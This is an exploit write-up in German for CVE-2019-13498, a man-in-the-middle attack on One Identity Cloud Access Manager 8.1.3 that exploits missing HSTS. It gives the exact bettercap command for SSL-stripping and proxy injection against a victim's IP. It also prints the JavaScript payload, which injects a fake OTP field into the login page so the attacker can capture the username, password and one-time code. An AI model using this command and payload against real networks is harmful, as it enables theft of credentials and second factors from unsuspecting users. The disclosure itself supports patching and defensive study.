CVE-2019-13498
Exploit-Titel: MITM – Fehlendes HSTS führt zu Diebstahl von Anmeldedaten und Inhaltsmanipulation
Datum: 07.10.2019
Autor des Exploits: Furqan Khan
Hersteller-Startseite: https://www.oneidentity.com/
Software-Link: https://www.oneidentity.com/products/cloud-access-manager/
Version: 8.1.3
Getestet auf: Kali Linux , Windows 7 ,Ubantu 16.04
Um den MITM-Angriff durchzuführen und Benutzername, Passwort und OTP zu stehlen, verwenden wir bettercap 1.6. Idealerweise wird das OTP-Feld auf der zweiten Seite der Anwendung ausgegeben, nachdem sich der Benutzer erfolgreich mit einem legitimen Benutzernamen und Passwort authentifiziert hat. Wir nutzen jedoch SSL-Strip und Inhaltsmanipulation, um ein OTP-Textfeld auf derselben Seite einzufügen, auf der Benutzername und Passwort abgefragt werden. Ein Opfer könnte denken, diese Änderung stamme von der Anwendung selbst, und wird Benutzername, Passwort und OTP eingeben und das Formular absenden. Der Angreifer, der bettercap und den Proxy eingerichtet hat, erhält die Anmeldedaten und das OTP und kann sich damit in der Anwendung anmelden.
Der verwendete bettercap-Befehl lautet:
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

Hier ist 192.168.1.103 die IP-Adresse des Opfers. Wenn wir diese nicht kennen, können wir bettercap verwenden, um den gesamten Inhalt des LAN (gemeinsames Netzwerk von Angreifer und Opfer) zu schnüffeln und zu manipulieren.
Der Inhalt von inject_js.js ist wie folgt:
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
Wenn das Opfer nun das Produkt (Cloud Access Manager) aufruft, wird aufgrund von Cache-Poisoning und SSL-Strip (Bettercap) ein OTP-Textfeld in die Seite eingefügt, die dem Opfer über das injizierte JavaScript-Snippet ausgeliefert wird.

Da die Verbindung über SSL-Strip auf HTTP herabgestuft wurde, ist der gesamte Verkehr nun für den Angreifer sichtbar. So können wir den Verkehr abfangen und den vom Opfer übermittelten Benutzernamen, das Passwort und das OTP einsehen.

Bingo! Das war einfach!